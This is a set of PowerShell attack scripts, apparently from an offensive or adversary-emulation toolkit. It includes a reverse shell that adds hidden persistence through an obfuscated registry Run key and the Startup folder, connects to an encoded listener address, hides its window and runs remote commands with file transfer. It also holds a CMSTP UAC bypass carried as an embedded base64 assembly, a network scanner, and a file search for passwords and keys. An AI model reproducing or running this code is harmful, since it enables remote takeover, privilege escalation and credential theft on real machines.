    while ($job.State -eq "Running") {
        Start-Sleep -Milliseconds 500
```

```
    }

    $result = $job | Receive-Job

    Remove-Job -Name $JobName -Force | Out-Null

    return $result
}


function download($filename) {
    try {
        $fileBytes = [System.IO.File]::ReadAllBytes($filen
ame)
        $writer.Write("down:$filename`n")
        $writer.Write([Convert]::ToBase64String($fileByte
s))
        $writer.Write("`n")
        $writer.Flush()
    } catch {
        $writer.Write("Err: " + $_.Exception.Message + "`
n")
        $writer.Flush()
    }
}

function upload($filePath) {
    try {
        $content = [System.IO.File]::ReadAllBytes($filePat
h)
        $writer.Write("Upl:Success`n")
        $writer.Write([Convert]::ToBase64String($content))
        $writer.Write("`n")
        $writer.Flush()
    } catch {
        $writer.Write("Err: " + $_.Exception.Message + "`
```

```
n")
        $writer.Flush()
    }
}

function Show-Banner {
@"

/ | _ __ | |_ () ___ _ __ ___
| | / _ | ' | || |/ _ | ' / |
| || () | | | |_ | | () | | | _
__/|| ||_|/ |_/|| ||/
| __ __ _ _ __ || _ __ ___ _ __
| / |/ _` | '/ _ | | ' \ / _ \ '|
| |/| | (| | | | () | | |) | __/ |
|| ||_,|| _/|| ./ _||
|_|
Welcome to the Mrvar0x PowerShell Remote Shell!
"@
}

Copy-Item -Path $PSCommandPath -Destination "C:\ProgramDat
a\$([System.IO.Path]::GetFileName($PSCommandPath))"

sp -Path $([Text.Encoding]::Unicode.GetString([Convert]::F
romBase64String('SABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAT
QBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgB
lAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4A'))) -Name $([Text.En
coding]::Unicode.GetString([Convert]::FromBase64String('TQ
B5AFMAYwByAGkAcAB0AA=='))) -Value $([Text.Encoding]::Unico
de.GetString([Convert]::FromBase64String('cABvAHcAZQByAHMA
aABlAGwAbAAuAGUAeABlACAALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbA
BpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBGAGkAbABlACAAQwA6AFwAUABy
AG8AZwByAGEAbQBEAGEAdABhAFwAUwBoAGUAbABsADMAZQByAC4AcABzAD
EA')))
```

```
$sourcePath = "C:\ProgramData\Shell3er.ps1"
$destinationPath = [Environment]::GetFolderPath('Startup')
+ "\Shell3er.ps1"

Copy-Item -Path $sourcePath -Destination $destinationPath

Show-Banner

# Replace the IP and port with your own listener's IP and
port (base64 encoded)
$encodedIp = 'MTkyLjE2OC4xODAuMTI4' # Replace with base64
encoded IP
$encodedPort = 'NDQ0NA==' # Replace with base64 encoded po
rt
# Decode the IP address
$ip = [System.Text.Encoding]::UTF8.GetString([System.Conve
rt]::FromBase64String($encodedIp))
$port = [System.Convert]::ToInt32([System.Text.Encoding]::
UTF8.GetString([System.Convert]::FromBase64String($encoded
Port)))

# Create a TCP client
$client = New-Object System.Net.Sockets.TCPClient($ip, $po
rt)
$stream = $client.GetStream()

# Create byte array for data
$buffer = New-Object Byte[] 1024

# Create StreamReader and StreamWriter
$reader = New-Object System.IO.StreamReader($stream)
$writer = New-Object System.IO.StreamWriter($stream)

# Redirect input, output, and error streams
$psI = [System.Console]::In
$psO = [System.Console]::Out
```

```
$psE = [System.Console]::Error
[System.Console]::SetIn($reader)
[System.Console]::SetOut($writer)
[System.Console]::SetError($writer)
# Hide the window
Add-Type -Name Window -Namespace Console -MemberDefinition
'
[DllImport("Kernel32.dll")]
public static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmd
Show);

public static void Hide()
{
    IntPtr console = GetConsoleWindow();
    if (console != IntPtr.Zero)
    {
        ShowWindow(console, 0);
    }
}'
[Console.Window]::Hide()

# Start PowerShell session
$shell = "PS " + (Get-Location).Path + "> "
$writer.Write($shell)
$writer.Flush()

# Command history
$history = @()

# Main loop
while ($true) {
  try {
    $data = $reader.ReadLine()
```

```
    $history += $data
    if ($data -eq "exit") { break }

    switch -Regex ($data) {

      'runscript (.+)' {
        $file = $matches[1]
        $scriptContent = [System.IO.File]::ReadAllText($fi
le)
        $output = (Invoke-Expression -Command $scriptConte
nt 2>&1 | Out-String)
      }

      'download (.+)' {
        $file = $matches[1]
        download $file
      }

      'upload (.+)' {
        $file = $matches[1]
        upload $file
      }

      'browse (.+)' {
        $directory = $matches[1]
        if (Test-Path $directory -PathType Container) {
          $output = Get-ChildItem $directory | Format-Tabl
e -AutoSize | Out-String
        } else {
          $output = "Directory not found"
        }
      }

      default {
        $output = (Invoke-Expression -Command $data 2>&1 |
Out-String)
```

```
      }
    }
  } catch {
    $output = "Error: " + $_.Exception.Message
  }

  $writer.Write($output + $shell)
  $writer.Flush()
}

# Run in background
Run-BackgroundTask -ScriptBlock {

    # Create random process name for PowerShell process
    $processName = Get-RandomProcessName

    # Create process start info object
    $psi = New-Object System.Diagnostics.ProcessStartInfo
    $psi.FileName = "powershell.exe"
    $psi.Arguments = "-WindowStyle Hidden -NoLogo -NoProfi
le -EncodedCommand $encodedCommand"
    $psi.UseShellExecute = $false
    $psi.RedirectStandardOutput = $true
    $psi.RedirectStandardError = $true
    $psi.RedirectStandardInput = $true
    $psi.CreateNoWindow = $true
    $psi.UserName = $null
    $psi.Password = $null
    $psi.Domain = $null

    # Create PowerShell process object
    $p = New-Object System.Diagnostics.Process
    $p.StartInfo = $psi
    $p.EnableRaisingEvents = $true
    # Start PowerShell process
    $p.Start()
```

```
    # Wait for PowerShell process to exit
    $p.WaitForExit()
}
```

▼ Bypass-UAC

```
function Bypass-UAC
{
    Param(
        [Parameter(Mandatory = $true, Position = 0)]
        [string]$Command
    )
    if(-not ([System.Management.Automation.PSTypeName]'CMS
TPBypass').Type)
    {
        [Reflection.Assembly]::Load([Convert]::FromBase64S
tring("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpc
yBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAA
AAABQRQAATAEDAGbn2VsAAAAAAAAAAOAAAiELAQsAABAAAAAGAAAAAAAAz
i4AAAAgAAAAQAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAA
AAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAA
HwuAABPAAAAAEAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAIAAACAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA1A4
AAAAgAAAAEAAAAAIAAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAQ
AAAAAQAAAASAAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAA
CAAAAFgAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAACwLgAAAA
AAAAEgAAAACAAUAFCIAAGgMAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBACJAAAAAQAAE
SgEAAAKF40GAAABEwQRBBZyAQAAcCgFAAAKnREEbwYAAAoWmgpyBQAAcAt
zBwAACgwIB28IAAAKJghyJQAAcG8IAAAKJggGbwgAAAomCHIpAABwbwgAA
AomfgEAAARzCQAACg0JcjMAAHACbwoAAAomCG8LAAAKCW8LAAAKKAwAAAo
IbwsAAAoqAAAAEzADAKEAAAACAAARfgIAAAQoDQAACi0Mcl0AAHAoDgAAC
hYqcwcAAAoKBgIoAwAABm8IAAAKJnKfAABwBm8LAAAKKA8AAAooDgAACn4
```

```
CAAAEcxAAAAoLB3LRAABwBm8LAAAKKA8AAApvEQAACgcWbxIAAAoHKBMAA
AomEgL+FQ4AAAF+FAAACgxy2wAAcCgFAAAGDAh+FAAACigVAAAKLehy5wA
AcCgWAAAKFyoAAAATMAIATwAAAAMAABECKBcAAAoKBo5pLQZ+FAAACioGF
ppvGAAAChIB/hUOAAABBhaabxkAAAoLB34UAAAKKBUAAAosBn4UAAAKKgc
oAgAABiYHGygBAAAGJgcqVnL3AABwgAEAAARyiAUAcIACAAAEKh4CKBoAA
AoqAAAAQlNKQgEAAQAAAAAADAAAAHY0LjAuMzAzMTkAAAAABQBsAAAAdAI
AACN+AADgAgAA5AIAACNTdHJpbmdzAAAAAMQFAADEBQAAI1VTAIgLAAAQA
AAAI0dVSUQAAACYCwAA0AAAACNCbG9iAAAAAAAAAAIAAAFXFQIUCQAAAAD
6JTMAFgAAAQAAAA8AAAACAAAAAgAAAAcAAAAGAAAAGgAAAAIAAAADAAAAA
QAAAAIAAAABAAAAAwAAAAACgABAAAAAAAAGADsANAAGAOgAyAAGAAgByAA
GAFYBNwEGAH4BdAEGAJUBNAAGAJoBNAAGAKkBNAAGAMIBtgEGAOgBdAEGA
AECNAAKAC0CGgIKAGACGgIGAG4CNAAOAJsChgIAAAAAAQAAAAAAAQABAAE
AEAAfAAAABQABAAEAFgBCAAoAFgBpAAoAAAAAAIAAliBKAA0AAQAAAAAAg
ACWIFUAEwADAFAgAAAAAJYAdAAYAAQA6CAAAAAAlgB/AB0ABQCYIQAAAAC
WAIcAIgAGAAkiAAAAAIYYlwAnAAcA8yEAAAAAkRjdAqEABwAAAAEAnQAAA
AIAogAAAAEAnQAAAAEAqwAAAAEAqwAAAAEAvAARAJcAKwAZAJcAJwAhAJc
AMAApAIMBNQA5AKIBOQBBALABPgBJAJcAJwBJANABRQBJAJcAMABJANcBS
wAJAN8BUgBRAO0BVgBRAPoBHQBZAAkCZwBBABMCbABhAJcAMABhAD4CMAB
hAEwCcgBpAGgCdwBxAHUCfgBxAHoCgQB5AKQCZwBpAK0CjwBpAMACJwBpA
MgClgAJAJcAJwAuAAsApQAuABMArgBcAIcAmgBpAQABAwBKAAEAQAEFAFU
AAQAEgAAAAAAAAAAAAAAAAAAAAAAmAQAABAAAAAAAAAAAAAAAQArAAAAA
AAEAAAAAAAAAAAAAAABADQAAAAAAQAAAAAAAAAAAAAAEAhgIAAAAAAAA
AAAA8TW9kdWxlPgBDTVNUUC1VQUMtQnlwYXNzLmRsbABDTVNUUEJ5cGFzc
wBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AEluZkRhdGEAU2hvd1dpbmRvdwB
TZXRGb3JlZ3JvdW5kV2luZG93AEJpbmFyeVBhdGgAU2V0SW5mRmlsZQBFe
GVjdXRlAFNldFdpbmRvd0FjdGl2ZQAuY3RvcgBoV25kAG5DbWRTaG93AEN
vbW1hbmRUb0V4ZWN1dGUAUHJvY2Vzc05hbWUAU3lzdGVtLlJ1bnRpbWUuQ
29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cml
idXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAENNU1RQLVVBQ
y1CeXBhc3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAERsbEl
tcG9ydEF0dHJpYnV0ZQB1c2VyMzIuZGxsAFN5c3RlbS5JTwBQYXRoAEdld
FJhbmRvbUZpbGVOYW1lAENoYXIAQ29udmVydABUb0NoYXIAU3RyaW5nAFN
wbGl0AFN5c3RlbS5UZXh0AFN0cmluZ0J1aWxkZXIAQXBwZW5kAFJlcGxhY
2UAVG9TdHJpbmcARmlsZQBXcml0ZUFsbFRleHQARXhpc3RzAENvbnNvbGU
AV3JpdGVMaW5lAENvbmNhdABTeXN0ZW0uRGlhZ25vc3RpY3MAUHJvY2Vzc
1N0YXJ0SW5mbwBzZXRfQXJndW1lbnRzAHNldF9Vc2VTaGVsbEV4ZWN1dGU
```

```
AUHJvY2VzcwBTdGFydABJbnRQdHIAWmVybwBvcF9FcXVhbGl0eQBTeXN0Z
W0uV2luZG93cy5Gb3JtcwBTZW5kS2V5cwBTZW5kV2FpdABHZXRQcm9jZXN
zZXNCeU5hbWUAUmVmcmVzaABnZXRfTWFpbldpbmRvd0hhbmRsZQAuY2N0b
3IAAAMuAAAfQwA6AFwAdwBpAG4AZABvAHcAcwBcAHQAZQBtAHAAAANcAAA
JLgBpAG4AZgAAKVIARQBQAEwAQQBDAEUAXwBDAE8ATQBNAEEATgBEAF8AT
ABJAE4ARQAAQUMAbwB1AGwAZAAgAG4AbwB0ACAAZgBpAG4AZAAgAGMAbQB
zAHQAcAAuAGUAeABlACAAYgBpAG4AYQByAHkAIQAAMVAAYQB5AGwAbwBhA
GQAIABmAGkAbABlACAAdwByAGkAdAB0AGUAbgAgAHQAbwAgAAAJLwBhAHU
AIAAAC2MAbQBzAHQAcAAAD3sARQBOAFQARQBSAH0AAISPWwB2AGUAcgBzA
GkAbwBuAF0ADQAKAFMAaQBnAG4AYQB0AHUAcgBlAD0AJABjAGgAaQBjAGE
AZwBvACQADQAKAEEAZAB2AGEAbgBjAGUAZABJAE4ARgA9ADIALgA1AA0AC
gANAAoAWwBEAGUAZgBhAHUAbAB0AEkAbgBzAHQAYQBsAGwAXQANAAoAQwB
1AHMAdABvAG0ARABlAHMAdABpAG4AYQB0AGkAbwBuAD0AQwB1AHMAdABJA
G4AcwB0AEQAZQBzAHQAUwBlAGMAdABpAG8AbgBBAGwAbABVAHMAZQByAHM
ADQAKAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAP
QBSAHUAbgBQAHIAZQBTAGUAdAB1AHAAQwBvAG0AbQBhAG4AZABzAFMAZQB
jAHQAaQBvAG4ADQAKAA0ACgBbAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDA
G8AbQBtAGEAbgBkAHMAUwBlAGMAdABpAG8AbgBdAA0ACgA7ACAAQwBvAG0
AbQBhAG4AZABzACAASABlAHIAZQAgAHcAaQBsAGwAIABiAGUAIAByAHUAb
gAgAEIAZQBmAG8AcgBlACAAUwBlAHQAdQBwACAAQgBlAGcAaQBuAHMAIAB
0AG8AIABpAG4AcwB0AGEAbABsAA0ACgBSAEUAUABMAEEAQwBFAF8AQwBPA
E0ATQBBAE4ARABfAEwASQBOAEUADQAKAHQAYQBzAGsAawBpAGwAbAAgAC8
ASQBNACAAYwBtAHMAdABwAC4AZQB4AGUAIAAvAEYADQAKAA0ACgBbAEMAd
QBzAHQASQBuAHMAdABEAGUAcwB0AFMAZQBjAHQAaQBvAG4AQQBsAGwAVQB
zAGUAcgBzAF0ADQAKADQAOQAwADAAMAAsADQAOQAwADAAMQA9AEEAbABsA
FUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4ALAAgADcADQAKAA0
ACgBbAEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4AX
QANAAoAIgBIAEsATABNACIALAAgACIAUwBPAEYAVABXAEEAUgBFAFwATQB
pAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlA
G4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAIABQAGEAdABoAHMAXABDAE0
ATQBHAFIAMwAyAC4ARQBYAEUAIgAsACAAIgBQAHIAbwBmAGkAbABlAEkAb
gBzAHQAYQBsAGwAUABhAHQAaAAiACwAIAAiACUAVQBuAGUAeABwAGUAYwB
0AGUAZABFAHIAcgBvAHIAJQAiACwAIAAiACIADQAKAA0ACgBbAFMAdABvA
GkAbgBnAHMAXQANAAoAUwBlAHIAdgBpAGMAZQBOAGEAbQBlAD0AIgBDAG8
AcgBwAFYAUABOACIADQAKAFMAaABvAHIAdABTAHYAYwBOAGEAbQBlAD0AI
gBDAG8AcgBwAFYAUABOACIADQAKAA0ACgAAO2MAOgBcAHcAaQBuAGQAbwB
```

```
3AHMAXABzAHkAcwB0AGUAbQAzADIAXABjAG0AcwB0AHAALgBlAHgAZQAAC
rDdag7FtE2aTMtg45Z5hgAIt3pcVhk04IkCBg4FAAICGAgEAAECGAQAAQ4
OBAABAg4EAAEYDgMgAAEEIAEBCAQgAQEOAwAADgQAAQMOBiABHQ4dAwUgA
RIlDgYgAhIlDg4DIAAOBQACAQ4OCgcFDg4SJRIlHQMEAAEBDgUAAg4ODgQ
gAQECBgABEjUSMQIGGAUAAgIYGAcHAxIlEjEYBgABHRI1DgMgABgGBwIdE
jUYAwAAAQgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm9
3cwEAAACkLgAAAAAAAAAAAAAC+LgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAsC4AAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAA
A/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAE
AAAAwAACAAAAAAAAAAAAAAAAAAAABAAAAAABIAAAAWEAAAGwCAAAAAAAAA
AAAAGwCNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC
9BO/+AAABAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAQAAAACAAAAAAAAAA
AAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQ
AAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsATMAQAAAQBTAHQAc
gBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAACoAQAAAQAwADAAMAAwADAANAB
iADAAAAAsAAIAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAA
AAAIAAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMAAuADA
ALgAwAC4AMAAAAEwAFQABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAQ
wBNAFMAVABQAC0AVQBBAEMALQBCAHkAcABhAHMAcwAuAGQAbABsAAAAAAAA
oAAIAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQAAAAgAAAAVAAVA
AEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAEMATQBTAFQ
AUAAtAFUAQQBDAC0AQgB5AHAAYQBzAHMALgBkAGwAbAAAAAAAANAAIAAEAU
AByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAA
AADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwA
C4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAA0D4AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA")) | Out-Null
    }
    [CMSTPBypass]::Execute($Command)
}
```

▼ payloads/Emulate-Administrator-Tasks.ps1

```
# Powershell script to emulate typical system administrato
r tasks on an enterprise
# Run this anywhere you want to emulate an adversary prese
nce

# BaseTask Object Structure
$BaseTaskClass = New-Object psobject -Property @{
    id   = $null
    task = $null
}

# BaseTask constructor
function BaseTask {
    param(
```

```
        [Parameter(Mandatory=$true)][Int]$id,
        [Parameter(Mandatory=$true)][String]$task
    )
    $basetask = $BaseTaskClass.psobject.copy()
    $basetask.id   = $id
    $basetask.task = $task
    $basetask
}

# BaseTask Execute task function
$BaseTaskClass | Add-Member -MemberType ScriptMethod -Name
Execute -value {
    Invoke-Expression $this.task
}

# Event loop that selects random tasks to execute over a t
ime interval
function eventloop{
    Param(
        [Parameter(Mandatory=$true)][System.Collections.Ar
rayList]$taskObjs
    )
     # Enter randomized task loop
    $minSleep = 10  # 10 seconds
    $maxSleep = 900 # 15 minutes
    while($true) {
        $index = Get-Random -Maximum $taskObjs.Count
        $taskObjs[$index].Execute()
        $sleep = Get-Random -Minimum $minSleep -Maximum $m
axSleep
        Write-Host "Sleeping for"$sleep" seconds"
        Start-Sleep -s $sleep
    }
}

# Main
```

```
function main{
    Write-Host "+----------------------------------------
--------+"
    Write-Host "|
|"
    Write-Host "|---------- Emulating and Administrator --
--------|"
    Write-Host "|
|"
    Write-Host "+----------------------------------------
--------+"
    $tasks =
        "Get-Process -Verbose",
        "Get-Service -Verbose",
        "Get-ComputerInfo",
        "Get-PSDrive",
        "Get-Command -Name Test-Connection -Syntax",
        "Get-LocalUser",
        "Get-WmiObject -Class Win32_Printer",
        "(New-Object -ComObject WScript.Network).EnumPrint
erConnections()",
        "Get-Command -Noun Item",
        "New-Item -Path $HOME\MyImportantWork -ItemType Di
rectory -Force`; Get-DnsClient | Out-File -FilePath $HOME
\MyImportantWork\DNSinfo.txt -Force",
        "Get-Host",
        "Get-EventLog -Log `"Application`" | Out-File -Fil
ePath $HOME\ApplicationLogsForWork.log -Force",
        "Get-ChildItem",
        "Get-History"

    # Array to store task object
    $taskObjs = [System.Collections.ArrayList]::new()

    # Construct task objects
    for($i=0;$i -lt $tasks.length;$i++){
```

```
        $taskObj = BaseTask -id $i -task $tasks[$i]
        $taskObjs.Add($taskObj) > $null
    }

    # Enter randomized task loop
    eventloop($taskObjs)
}

# Call Main to load script
main
```

▼ payloads/Invoke-MemeKatz.ps1

```
add-type @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32;
namespace Wallpaper {
 public enum Style: int {
  Tiled,
  Centered,
  Stretched,
  Fit
 }
 public class Setter {
  public
  const int SetDesktopWallpaper = 20;
  public
  const int UpdateIniFile = 0x01;
  public
  const int SendWinIniChange = 0x02;
  [DllImport("user32.dll", SetLastError = true, CharSet =
CharSet.Auto)]
  private static extern int SystemParametersInfo(int uActi
on, int uParam, string lpvParam, int fuWinIni);
```

```
  public static void SetWallpaper(string path, Wallpaper.S
tyle style) {
   SystemParametersInfo(SetDesktopWallpaper, 0, path, Upda
teIniFile | SendWinIniChange);
  }
 }
}
"@
$imageURL = Invoke-RestMethod -Uri https://meme-api.heroku
app.com/gimme | Select-Object -Property url
$wallpaperPath = "$Env:UserProfile\\AppData\\Local\\wallpa
per.jpg"
Invoke-WebRequest -Uri $imageURL.url -OutFile $wallpaperPa
th
[Wallpaper.Setter]::SetWallpaper((Convert-Path $wallpaperP
ath), "Fit")
```

▼ payloads/basic_scanner.ps1

```
function PrefixLength-ToAddrInt {
    param ([Parameter(Mandatory=$true)][int]$prefixLengt
h);
    ([Math]::Pow(2, $prefixLength) - 1) * [Math]::Pow(2, 3
2 - $prefixLength);
};
function IPv4-ToInt {
    param ([Parameter(Mandatory=$true)][string]$ipv4);
    $octets = $ipv4 -split "\." | %{ [int]$_ };
    $result = ($octets[0]*[Math]::Pow(256,3)) + ($octets
[1]*[Math]::Pow(256,2)) + ($octets[2]*256) + $octets[3];
    [uint32]$result;
};
function Int-ToIPv4 {
    param ([Parameter(Mandatory=$true)][uint32]$ipv4int);
    $octets = @();
```

```
    $remainder = $ipv4int;
    3..0 | %{
        $divideBy = [uint32]([Math]::Pow(256, $_));
        $octet = [Math]::Floor($remainder / $divideBy);
        $octets += [string]$octet;
        $remainder = $remainder % $divideBy;
    };
    $octets -join '.';
};
function Get-NetAddrInt {
    param (
        [Parameter(Mandatory=$true)][string]$ipv4,
        [Parameter(Mandatory=$true)][int]$prefixLength
    );
    $maskInt = PrefixLength-ToAddrInt $prefixLength;
    $ipv4int = IPv4-ToInt $ipv4;
    [uint32]($maskInt -band $ipv4Int);
};
function Scan-Netrange {
    param (
        [Parameter(Mandatory=$true)][string]$ipv4,
        [Parameter(Mandatory=$true)][int]$prefixLength,
        [Parameter(Mandatory=$true)][int[]]$ports
    );
    $netAddrInt = Get-NetAddrInt -ipv4 $ipv4 -prefixLength
$prefixLength;
    $addrCount = [int]([Math]::Pow(2, 32 - $prefixLength))
- 1; # ignore the network address
    1..$addrCount | %{
        $ipv4 = Int-ToIpv4 ($netAddrInt + $_);
        $ports | %{
            $socket = new-object system.net.sockets.tcpcli
ent;
            try {
                $Connection = $socket.beginconnect($ipv4,
$_, $null, $null);
```

```
                if ($Connection) {
                    $Connection.AsyncWaitHandle.waitOne(5
0,$false) | out-null;
                    if ($socket.connected -eq $true) { ech
o "$ipv4 port $_ is open!"};
                };
            } catch {
            } finally {
                $socket.Close | Out-Null;
            };
        };
    };
};
function Ping-IPv4Network {
    param (
        [Parameter(Mandatory=$true)][string]$ipv4,
        [Parameter(Mandatory=$true)][int]$prefixLength
    );
    $timeout = 500;
    $minPerThread = 16;
    Get-Job | Remove-Job;
    $netAddrInt = Get-NetAddrInt -ipv4 $ipv4 -prefixLength
$prefixLength;
    $addrCount = [int]([Math]::Pow(2, 32 - $prefixLength))
- 1;
    $numThreads = 4;
    if (($minPerThread * $numThreads) -gt $addrCount) {
        $numThreads = [math]::ceiling($addrCount / $minPer
Thread);
    };
    $perThread = [math]::ceiling($addrCount / $numThread
s);
    $remaining = $addrCount;
    0..($numThreads - 1) | %{
        $currStartAddrInt = [uint32]($netAddrInt + ($_ *
$perThread));
```

```
        $toDo = $perThread;
        if ($remaining -lt $perThread) { $toDo = $remainin
g; };
        Start-Job -ScriptBlock {
            param([uint32] $startAddrInt, [int] $toDo, [in
t] $timeout );
            function Int-ToIPv4 {
                param ([Parameter(Mandatory=$true)][uint3
2]$ipv4int);
                $octets = @();
                $remainder = $ipv4int;
                3..0 | %{
                    $divideBy = [uint32]([Math]::Pow(256,
$_));
                    $octet = [Math]::Floor($remainder / $d
ivideBy);
                    $octets += [string]$octet;
                    $remainder = $remainder % $divideBy;
                };
                $octets -join '.';
            };
            0..($toDo-1) | %{
                $currIP = Int-ToIpv4 ($startAddrInt + $_);
                $filter = 'Address="{0}" and Timeout={1}'
-f $currIP, $timeout;
                $result = Get-WmiObject -Class Win32_PingS
tatus -Filter $filter |  Select-Object StatusCode;
                if ($result.StatusCode -eq 0) {
                    echo $currIP;
                };
            };
        } -ArgumentList $currStartAddrInt, $toDo, $timeout
| Out-Null;
        $remaining -= $toDo;
    };
```

```
    Get-Job | Wait-Job | Receive-Job;
};
```

▼ payloads/file_search.ps1

```
Param (
    [string] $Extensions ='doc,xps,xls,ppt,pps,wps,wpd,od
s,odt,lwp,jtd,pdf,zip,rar,docx,url,xlsx,pptx,ppsx,pst,ost,
jpg,txt,lnk',
    [string] $ExcludedExtensions = 'exe,jar,dll,msi,bak,vm
x,vmdx,vmdk,lck',
    [string] $Directories = 'c:\users',
    [string] $ExcludedDirectories = 'links,music,saved gam
es,contacts,videos,source,onedrive',
    [string] $AccessedCutoff = -30,
    [string] $ModifiedCutoff = -30,
    [string] $SearchStrings = 'user,pass,username,passwor
d,key,authorized_keys',
    # Recycle bin located at c:\$Recycle.Bin\<sid of curre
